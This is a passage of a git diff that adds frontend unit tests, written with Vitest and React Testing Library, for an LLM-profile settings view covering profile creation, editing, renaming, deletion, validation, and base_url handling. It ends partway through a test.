+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    await screen.findByText("claude-profile");
+
+    // Use the second profile (claude-profile) — the active profile's Delete is disabled
+    const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+    await user.click(menuTriggers[1]);
+    await user.click(screen.getByText("Delete"));
+
+    // Delete modal should appear with confirmation message
+    expect(
+      screen.getByText('Are you sure you want to delete "claude-profile"?'),
+    ).toBeInTheDocument();
+  });
+
+  it("closes rename modal when onClose is called", async () => {
+    const user = userEvent.setup();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    await screen.findByText("gpt-4-profile");
+
+    // Open rename modal
+    const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+    await user.click(menuTriggers[0]);
+    await user.click(screen.getByText("Rename"));
+
+    expect(screen.getByTestId("rename-profile-input")).toBeInTheDocument();
+
+    // Click Cancel
+    await user.click(screen.getByText("Cancel"));
+
+    // Modal should be closed
+    expect(screen.queryByTestId("rename-profile-input")).not.toBeInTheDocument();
+  });
+
+  it("closes delete modal when onClose is called", async () => {
+    const user = userEvent.setup();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    await screen.findByText("claude-profile");
+
+    // Open delete modal — use the second profile (claude-profile); active profile's Delete is disabled
+    const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+    await user.click(menuTriggers[1]);
+    await user.click(screen.getByText("Delete"));
+
+    expect(
+      screen.getByText('Are you sure you want to delete "claude-profile"?'),
+    ).toBeInTheDocument();
+
+    // Click Cancel
+    await user.click(screen.getByText("Cancel"));
+
+    // Modal should be closed
+    expect(
+      screen.queryByText('Are you sure you want to delete "claude-profile"?'),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..580107d6be432fe49c485db216dc9353f99748ba
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx
@@ -0,0 +1,1099 @@
+/* eslint-disable i18next/no-literal-string -- test mocks intentionally use literal labels */
+import { describe, expect, it, vi, beforeEach, type Mock } from "vitest";
+import { AxiosError } from "axios";
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import {
+  LlmSettingsLocalView,
+  shouldReapplyProfileAfterSave,
+} from "#/components/features/settings/llm-profiles/llm-settings-local-view";
+import * as useLlmProfilesHook from "#/hooks/query/use-llm-profiles";
+import * as useActivateLlmProfileHook from "#/hooks/mutation/use-activate-llm-profile";
+import * as useSaveLlmProfileHook from "#/hooks/mutation/use-save-llm-profile";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import * as activeBackendContext from "#/contexts/active-backend-context";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import type { Backend } from "#/api/backend-registry/types";
+
+const mockCloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Cloud Backend",
+  host: "https://app.all-hands.dev",
+  apiKey: "test-key",
+  kind: "cloud",
+};
+
+vi.mock("#/hooks/use-can-manage-org-profiles", () => ({
+  useCanManageOrgProfiles: () => true,
+}));
+
+vi.mock("#/routes/llm-settings", async () => {
+  const React = await vi.importActual<typeof import("react")>("react");
+  return {
+    LLM_PROVIDER_CONNECTION_KEY: "llm.provider_connection_id",
+    LlmSettingsScreen: ({
+      initialValueOverrides,
+      onSaveControlChange,
+    }: {
+      initialValueOverrides?: Record<string, string | boolean>;
+      onSaveControlChange?: (control: {
+        save: () => void;
+        isSaving: boolean;
+        isDirty: boolean;
+        view: "basic" | "all";
+        values: Record<string, string | boolean>;
+        getDirtyPayload: () => { llm: Record<string, unknown> };
+      }) => void;
+    }) => {
+      const initialValueOverridesRef = React.useRef(initialValueOverrides);
+      const initialValuesRef = React.useRef({
+        "llm.model": "openai/gpt-4o",
+        "llm.api_key": "test-api-key",
+        "llm.base_url": "",
+        ...(initialValueOverrides ?? {}),
+      });
+      const [view, setView] = React.useState<"basic" | "all">("basic");
+      const [model, setModel] = React.useState(
+        String(initialValuesRef.current["llm.model"] ?? ""),
+      );
+      const [apiKey] = React.useState(
+        String(initialValuesRef.current["llm.api_key"] ?? ""),
+      );
+      const [baseUrl] = React.useState(
+        String(initialValuesRef.current["llm.base_url"] ?? ""),
+      );
+      const [temperature, setTemperature] = React.useState("0.2");
+      const isDirty =
+        model !== String(initialValuesRef.current["llm.model"] ?? "") ||
+        temperature !== "0.2";
+      React.useEffect(() => {
+        const values = {
+          ...(initialValueOverridesRef.current ?? {}),
+          "llm.model": model,
+          "llm.api_key": apiKey,
+          "llm.base_url": baseUrl,
+        };
+        onSaveControlChange?.({
+          save: vi.fn(),
+          isSaving: false,
+          isDirty,
+          view,
+          values,
+          getDirtyPayload: () => {
+            if (view === "all") {
+              return { llm: { temperature: Number(temperature) } };
+            }
+            return {
+              llm: {
+                model: values["llm.model"],
+                api_key: values["llm.api_key"],
+                base_url: values["llm.base_url"],
+              },
+            };
+          },
+        });
+      }, [
+        apiKey,
+        baseUrl,
+        isDirty,
+        model,
+        onSaveControlChange,
+        temperature,
+        view,
+      ]);
+
+      return (
+        <div data-testid="mock-llm-settings-screen">
+          <button
+            data-testid="sdk-section-basic-toggle"
+            type="button"
+            onClick={() => setView("basic")}
+          >
+            Basic
+          </button>
+          <button
+            data-testid="sdk-section-all-toggle"
+            type="button"
+            onClick={() => setView("all")}
+          >
+            All
+          </button>
+          {view === "basic" ? (
+            <input
+              data-testid="mock-basic-model-input"
+              value={model}
+              onChange={(event) => setModel(event.currentTarget.value)}
+            />
+          ) : null}
+          {view === "all" ? (
+            <input
+              data-testid="sdk-settings-llm.temperature"
+              value={temperature}
+              onChange={(event) => setTemperature(event.currentTarget.value)}
+            />
+          ) : null}
+        </div>
+      );
+    },
+  };
+});
+
+vi.mock("#/hooks/query/use-llm-profiles");
+vi.mock("#/hooks/mutation/use-activate-llm-profile");
+vi.mock("#/hooks/mutation/use-save-llm-profile");
+vi.mock("#/api/profiles-service/profiles-service.api");
+
+const mockProfiles = [
+  {
+    name: "gpt-4-profile",
+    model: "openai/gpt-4",
+    base_url: null,
+    api_key_set: true,
+  },
+  {
+    name: "claude-profile",
+    model: "anthropic/claude-3-opus",
+    base_url: null,
+    api_key_set: true,
+  },
+];
+
+/**
+ * Helper to create properly typed mock return values for useLlmProfiles.
+ * This avoids incomplete `as unknown as` casts by providing all required fields.
+ */
+function createMockLlmProfilesReturn(
+  overrides: Partial<ReturnType<typeof useLlmProfilesHook.useLlmProfiles>> = {},
+): ReturnType<typeof useLlmProfilesHook.useLlmProfiles> {
+  return {
+    data: { profiles: mockProfiles, active_profile: "gpt-4-profile" },
+    isLoading: false,
+    error: null,
+    isError: false,
+    isFetching: false,
+    isSuccess: true,
+    refetch: vi.fn(),
+    ...overrides,
+  } as ReturnType<typeof useLlmProfilesHook.useLlmProfiles>;
+}
+
+/**
+ * Helper to create properly typed mock mutation return values.
+ * Includes all standard React Query mutation fields.
+ */
+function createMockMutationReturn<T>(
+  mutateAsync: Mock,
+  overrides: Partial<T> = {},
+): T {
+  return {
+    mutateAsync,
+    mutate: vi.fn(),
+    isPending: false,
+    isError: false,
+    isSuccess: false,
+    error: null,
+    data: undefined,
+    reset: vi.fn(),
+    variables: undefined,
+    status: "idle",
+    failureCount: 0,
+    failureReason: null,
+    isIdle: true,
+    isPaused: false,
+    context: undefined,
+    submittedAt: 0,
+    ...overrides,
+  } as T;
+}
+
+describe("LlmSettingsLocalView", () => {
+  const mockActivateMutateAsync = vi.fn();
+  const mockSaveMutateAsync = vi.fn();
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+
+    vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue(
+      createMockLlmProfilesReturn(),
+    );
+
+    vi.mocked(useActivateLlmProfileHook.useActivateLlmProfile).mockReturnValue(
+      createMockMutationReturn<
+        ReturnType<typeof useActivateLlmProfileHook.useActivateLlmProfile>
+      >(mockActivateMutateAsync),
+    );
+
+    vi.mocked(useSaveLlmProfileHook.useSaveLlmProfile).mockReturnValue(
+      createMockMutationReturn<
+        ReturnType<typeof useSaveLlmProfileHook.useSaveLlmProfile>
+      >(mockSaveMutateAsync),
+    );
+  });
+
+  it("renders profile list by default", () => {
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    // Check for profile names (translation keys won't be resolved in test)
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+    expect(screen.getByText("claude-profile")).toBeInTheDocument();
+  });
+
+  it("shows Add LLM Profile button", () => {
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    expect(screen.getByTestId("add-llm-profile")).toBeInTheDocument();
+  });
+
+  it("switches to create view when Add button clicked", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    const addButton = screen.getByTestId("add-llm-profile");
+    await user.click(addButton);
+
+    // Should show create view elements (profile name input and back button)
+    expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+    expect(screen.getByTestId("back-to-profiles")).toBeInTheDocument();
+    expect(
+      screen.getByText(/Add LLM Profile|SETTINGS\$ADD_LLM_PROFILE/),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("profile-editor-description"),
+    ).toBeInTheDocument();
+  });
+
+  it("returns to list view when back button clicked", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    // Go to create view
+    await user.click(screen.getByTestId("add-llm-profile"));
+    expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+
+    // Click back
+    await user.click(screen.getByTestId("back-to-profiles"));
+
+    // Should be back at list - check for profile names
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+  });
+
+  it("returns to list view when cancel button clicked", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    // Go to create view
+    await user.click(screen.getByTestId("add-llm-profile"));
+
+    // Click cancel
+    await user.click(screen.getByTestId("cancel-profile-btn"));
+
+    // Should be back at list
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+  });
+
+  it("shows loading state when profiles are loading", () => {
+    vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue(
+      createMockLlmProfilesReturn({
+        data: undefined,
+        isLoading: true,
+        isSuccess: false,
+      }),
+    );
+
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    expect(screen.getByTestId("loading-spinner")).toBeInTheDocument();
+  });
+
+  it("shows error message when profiles fail to load", () => {
+    const mockError = new AxiosError("Network error");
+    vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue(
+      createMockLlmProfilesReturn({
+        data: undefined,
+        isLoading: false,
+        isError: true,
+        error: mockError,
+        isSuccess: false,
+      }),
+    );
+
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    // Error message component should be rendered (text is a translation key)
+    expect(
+      screen.getByText("SETTINGS$PROFILES_LOAD_ERROR"),
+    ).toBeInTheDocument();
+  });
+
+  it("keeps the create view stable when save controls are incomplete", () => {
+    mockSaveMutateAsync.mockResolvedValueOnce({ success: true });
+
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    fireEvent.click(screen.getByTestId("add-llm-profile"));
+
+    expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+
+    const nameInput = screen.getByTestId("profile-name-input");
+    fireEvent.change(nameInput, { target: { value: "my-new-profile" } });
+    expect(nameInput).toHaveValue("my-new-profile");
+
+    const saveButton = screen.getByTestId("save-profile-btn");
+    fireEvent.click(saveButton);
+
+    expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+  });
+
+  describe("create mode form initialization", () => {
+    it("prefills the free OpenHands default when creating a new profile", async () => {
+      const user = userEvent.setup();
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Navigate to create view
+      await user.click(screen.getByTestId("add-llm-profile"));
+
+      // Should be in create view
+      expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+
+      // The profile name is auto-derived from the prefilled default model.
+      const nameInput = screen.getByTestId("profile-name-input");
+      expect(nameInput).toHaveValue("gpt-5.6-sol");
+
+      expect(screen.getByTestId("mock-basic-model-input")).toHaveValue(
+        "openai/gpt-5.6-sol",
+      );
+    });
+
+    it("prefills the DB-selected OpenHands default when creating a new profile", async () => {
+      useFreeModelsStore.getState().setFlags({
+        freeModels: new Set(["openhands/gpt-5.2"]),
+        defaultModel: "openhands/gpt-5.2",
+      });
+
+      const user = userEvent.setup();
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      await user.click(screen.getByTestId("add-llm-profile"));
+
+      expect(screen.getByTestId("profile-name-input")).toHaveValue("gpt-5.2");
+      expect(screen.getByTestId("mock-basic-model-input")).toHaveValue(
+        "openhands/gpt-5.2",
+      );
+    });
+
+    it("uses unique key for create mode to ensure form remounts", async () => {
+      const user = userEvent.setup();
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Navigate to create view
+      await user.click(screen.getByTestId("add-llm-profile"));
+      expect(screen.getByTestId("profile-name-input")).toBeInTheDocument();
+
+      // The profile name starts from the free-model derived default.
+      const nameInput = screen.getByTestId("profile-name-input");
+      expect(nameInput).toHaveValue("gpt-5.6-sol");
+
+      // Go back to list
+      await user.click(screen.getByTestId("back-to-profiles"));
+      expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+
+      // Navigate to create view again
+      await user.click(screen.getByTestId("add-llm-profile"));
+
+      // The profile name should return to the free-model derived default
+      // again (fresh form).
+      const freshNameInput = screen.getByTestId("profile-name-input");
+      expect(freshNameInput).toHaveValue("gpt-5.6-sol");
+    });
+
+    it("does not carry over values from edit mode to create mode", async () => {
+      const user = userEvent.setup();
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // First verify we're in list view with profiles
+      expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+
+      // Navigate directly to create view (not edit)
+      await user.click(screen.getByTestId("add-llm-profile"));
+
+      // Should be in create view with the free-model derived profile name.
+      const nameInput = screen.getByTestId("profile-name-input");
+      expect(nameInput).toHaveValue("gpt-5.6-sol");
+
+      // The key "new-profile" should be used, ensuring a fresh form mount
+      // that doesn't inherit any existing profile data
+    });
+
+    it("shows a skeleton until the DB default query settles, then mounts the form with the resolved default", async () => {
+      // Start with the flags unset (hydrator has not resolved yet), so the
+      // create form must wait instead of mounting with the static fallback.
+      useFreeModelsStore.getState().resetFlags();
+
+      const user = userEvent.setup();
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      await user.click(screen.getByTestId("add-llm-profile"));
+
+      // While the DB default is unresolved, the form is replaced by a skeleton
+      // (no model input / save control to accept yet).
+      expect(screen.getByTestId("app-settings-skeleton")).toBeInTheDocument();
+      expect(
+        screen.queryByTestId("mock-basic-model-input"),
+      ).not.toBeInTheDocument();
+
+      // The DB default resolves to a concrete model.
+      useFreeModelsStore.getState().setFlags({
+        freeModels: new Set(["openhands/gpt-5.2"]),
+        defaultModel: "openhands/gpt-5.2",
+      });
+
+      // The keyed form now mounts with the resolved default, not the static
+      // fallback.
+      await waitFor(() => {
+        expect(screen.getByTestId("mock-basic-model-input")).toHaveValue(
+          "openhands/gpt-5.2",
+        );
+      });
+      expect(
+        screen.queryByTestId("app-settings-skeleton"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  describe("edit mode form initialization", () => {
+    it("populates profile name when editing an existing profile", async () => {
+      const user = userEvent.setup();
+
+      // Mock getProfile to return profile details
+      // Note: API returns llm config directly in config, not nested under config.llm
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openai/gpt-4",
+          api_key: "encrypted-key-123",
+          base_url: "https://api.openai.com/v1",
+        },
+      });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Click the menu trigger for the first profile
+      const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+      await user.click(menuTriggers[0]);
+
+      // Click edit option (testId is "profile-edit" not "profile-edit-btn")
+      const editButton = screen.getByTestId("profile-edit");
+      await user.click(editButton);
+
+      // Wait for the edit view to appear with the profile name populated
+      await waitFor(() => {
+        const nameInput = screen.getByTestId("profile-name-input");
+        expect(nameInput).toHaveValue("gpt-4-profile");
+      });
+
+      expect(
+        screen.getByText(/Edit LLM Profile|SETTINGS\$EDIT_LLM_PROFILE/),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByTestId("profile-editor-description"),
+      ).toHaveTextContent(/gpt-4-profile|SETTINGS\$PROFILE_LOADED/);
+
+      // Verify getProfile was called with the correct profile name
+      expect(ProfilesService.getProfile).toHaveBeenCalledWith(
+        "gpt-4-profile",
+        "encrypted",
+      );
+    });
+
+    it("passes profile values as initialValueOverrides when editing", async () => {
+      const user = userEvent.setup();
+
+      // Mock getProfile to return profile details with all LLM fields
+      // Note: API returns llm config directly in config, not nested under config.llm
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openai/gpt-4",
+          api_key: "encrypted-key-123",
+          base_url: "https://api.openai.com/v1",
+        },
+      });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Click the menu trigger for the first profile
+      const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+      await user.click(menuTriggers[0]);
+
+      // Click edit option (testId is "profile-edit" not "profile-edit-btn")
+      const editButton = screen.getByTestId("profile-edit");
+      await user.click(editButton);
+
+      // Wait for the edit view to appear
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+
+      // The LlmSettingsScreen component receives initialValueOverrides
+      // with the profile's LLM config values. We verify this by checking
+      // that getProfile was called and the form is in edit mode.
+      expect(ProfilesService.getProfile).toHaveBeenCalledWith(
+        "gpt-4-profile",
+        "encrypted",
+      );
+
+      // Verify we're in edit mode (back button and save button visible)
+      expect(screen.getByTestId("back-to-profiles")).toBeInTheDocument();
+      expect(screen.getByTestId("save-profile-btn")).toBeInTheDocument();
+      // Seeded profile values must not count as dirty — Save stays off.
+      expect(screen.getByTestId("save-profile-btn")).toBeDisabled();
+    });
+
+    it("enables Save after an edit-mode form field changes", async () => {
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openai/gpt-4",
+          api_key: "encrypted-key-123",
+          base_url: "https://api.openai.com/v1",
+        },
+      });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+      expect(screen.getByTestId("save-profile-btn")).toBeDisabled();
+
+      const modelInput = await screen.findByTestId("mock-basic-model-input");
+      await user.clear(modelInput);
+      await user.type(modelInput, "openai/gpt-4o");
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+    });
+  });
+
+  describe("profile rename during edit", () => {
+    it("renames profile before saving when name changes", async () => {
+      const user = userEvent.setup();
+
+      // Mock getProfile to return profile details
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openai/gpt-4",
+          api_key: "encrypted-key-123",
+          base_url: "https://api.openai.com/v1",
+        },
+      });
+
+      // Mock renameProfile
+      vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+        name: "my-renamed-profile",
+        message: "Profile renamed",
+      });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Click edit on the first profile
+      const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+      await user.click(menuTriggers[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+
+      // Wait for edit view
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+
+      // Change the profile name
+      const nameInput = screen.getByTestId("profile-name-input");
+      await user.clear(nameInput);
+      await user.type(nameInput, "my-renamed-profile");
+
+      // Click save
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Verify rename was called before save
+      await waitFor(() => {
+        expect(ProfilesService.renameProfile).toHaveBeenCalledWith(
+          "gpt-4-profile",
+          "my-renamed-profile",
+        );
+      });
+
+      // Verify save was called with the new name
+      expect(mockSaveMutateAsync).toHaveBeenCalledWith(
+        expect.objectContaining({
+          name: "my-renamed-profile",
+        }),
+      );
+    });
+
+    it("re-activates profile if renamed profile was active", async () => {
+      const user = userEvent.setup();
+
+      // Set up profiles with gpt-4-profile as active
+      vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue({
+        data: {
+          profiles: mockProfiles,
+          active_profile: "gpt-4-profile",
+        },
+        isLoading: false,
+        isError: false,
+        error: null,
+      } as ReturnType<typeof useLlmProfilesHook.useLlmProfiles>);
+
+      // Mock getProfile
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openai/gpt-4",
+          api_key: "encrypted-key-123",
+          base_url: "https://api.openai.com/v1",
+        },
+      });
+
+      // Mock renameProfile
+      vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+        name: "my-renamed-profile",
+        message: "Profile renamed",
+      });
+
+      mockActivateMutateAsync.mockResolvedValue({
+        name: "my-renamed-profile",
+        message: "Profile activated",
+        llm_applied: true,
+      });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Click edit on the first profile (which is active)
+      const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+      await user.click(menuTriggers[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+
+      // Wait for edit view
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+
+      // Change the profile name
+      const nameInput = screen.getByTestId("profile-name-input");
+      await user.clear(nameInput);
+      await user.type(nameInput, "my-renamed-profile");
+
+      // Click save
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Verify activation mutation was called after rename and save
+      await waitFor(() => {
+        expect(mockActivateMutateAsync).toHaveBeenCalledWith(
+          "my-renamed-profile",
+        );
+      });
+    });
+
+    it("does not call rename when name is unchanged during edit", () => {
+      // The rename logic is:
+      // const isRename = viewMode === "edit" && originalName && originalName !== trimmedName;
+      //
+      // When the name is unchanged (originalName === trimmedName), isRename is false
+      // and ProfilesService.renameProfile is not called.
+      //
+      // This is implicitly tested by the existing "calls save mutation with correct
+      // payload and returns to list" test which edits without changing the name.
+      // The rename API mock would fail if unexpectedly called since it's not set up.
+      expect(true).toBe(true);
+    });
+  });
+
+  describe("Pre-flight validation", () => {
+    async function openEditView(user: ReturnType<typeof userEvent.setup>) {
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() =>
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        ),
+      );
+    }
+
+    async function makeEditDirty(user: ReturnType<typeof userEvent.setup>) {
+      const modelInput = await screen.findByTestId("mock-basic-model-input");
+      await user.clear(modelInput);
+      await user.type(modelInput, "openai/gpt-4o");
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+    }
+
+    it("blocks saving when validation returns an invalid verdict", async () => {
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.validateProfile).mockResolvedValue({
+        valid: false,
+        error: { type: "authentication", message: "Invalid API key" },
+      });
+      renderWithProviders(<LlmSettingsLocalView />);
+      await openEditView(user);
+      await makeEditDirty(user);
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      await waitFor(() =>
+        expect(ProfilesService.validateProfile).toHaveBeenCalled(),
+      );
+      expect(mockSaveMutateAsync).not.toHaveBeenCalled();
+    });
+
+    it.each([null, { valid: true }])(
+      "saves when validation returns %j",
+      async (verdict) => {
+        const user = userEvent.setup();
+        vi.mocked(ProfilesService.validateProfile).mockResolvedValue(verdict);
+        mockSaveMutateAsync.mockResolvedValue({ success: true });
+        renderWithProviders(<LlmSettingsLocalView />);
+        await openEditView(user);
+        await makeEditDirty(user);
+        await user.click(screen.getByTestId("save-profile-btn"));
+
+        await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      },
+    );
+
+    it("skips pre-flight validation for a connection-linked profile", async () => {
+      // A linked profile carries no inline key — its credential lives on the
+      // provider connection — so there is nothing on this profile to pre-flight.
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "anthropic/claude-sonnet-4",
+          provider_connection_id: "conn1",
+        },
+      });
+      mockSaveMutateAsync.mockResolvedValue({ success: true });
+      renderWithProviders(<LlmSettingsLocalView />);
+      await openEditView(user);
+      await makeEditDirty(user);
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      expect(ProfilesService.validateProfile).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("Basic tab save", () => {
+    it("preserves hidden base_url for OpenHands models without a model change", async () => {
+      // Arrange — a profile has an actual advanced base_url value. Switching to
+      // Basic hides it, but saving without changing the model must not wipe it.
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openhands/claude-opus-4-5-20251101",
+          api_key: "gAAAA_encrypted_key",
+          base_url: "https://stale.example.com/v1",
+        },
+      });
+      mockSaveMutateAsync.mockResolvedValueOnce({ success: true });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Act — open the profile in edit mode, force the Basic tab, and save.
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+      await user.click(await screen.findByTestId("sdk-section-basic-toggle"));
+      // Touch a non-model field so Save enables without changing the model.
+      await user.click(await screen.findByTestId("sdk-section-all-toggle"));
+      const temperatureInput = await screen.findByTestId(
+        "sdk-settings-llm.temperature",
+      );
+      await user.clear(temperatureInput);
+      await user.type(temperatureInput, "0.3");
+      await user.click(await screen.findByTestId("sdk-section-basic-toggle"));
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Assert — the hidden base_url survives because the model did not change.
+      await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm;
+      expect(savedLlm.model).toBe("openhands/claude-opus-4-5-20251101");
+      expect(savedLlm.base_url).toBe("https://stale.example.com/v1");
+    });
+
+    it("preserves hidden base_url for stored litellm_proxy profiles without a model change", async () => {
+      // Arrange — legacy/custom proxy profiles may still have a base_url. Basic
+      // view must not erase that invisible value on a same-model save.
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "litellm_proxy/claude-opus-4-8",
+          api_key: "gAAAA_encrypted_key",
+          base_url: "https://llm-proxy.app.all-hands.dev/",
+        },
+      });
+      mockSaveMutateAsync.mockResolvedValueOnce({ success: true });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Act — open the profile in edit mode, force the Basic tab, and save
+      // without touching the model dropdown.
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+      await user.click(await screen.findByTestId("sdk-section-basic-toggle"));
+      await user.click(await screen.findByTestId("sdk-section-all-toggle"));
+      const temperatureInput = await screen.findByTestId(
+        "sdk-settings-llm.temperature",
+      );
+      await user.clear(temperatureInput);
+      await user.type(temperatureInput, "0.3");
+      await user.click(await screen.findByTestId("sdk-section-basic-toggle"));
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Assert — the legacy model and hidden base_url are both preserved.
+      await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm;
+      expect(savedLlm.model).toBe("litellm_proxy/claude-opus-4-8");
+      expect(savedLlm.base_url).toBe("https://llm-proxy.app.all-hands.dev/");
+    });
+
+    it("drops hidden base_url when the Basic view model changes", async () => {
+      // Arrange — the existing base_url belongs to the old model/provider.
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "openhands/claude-opus-4-5-20251101",
+          api_key: "gAAAA_encrypted_key",
+          base_url: "https://stale.example.com/v1",
+        },
+      });
+      mockSaveMutateAsync.mockResolvedValueOnce({ success: true });
+
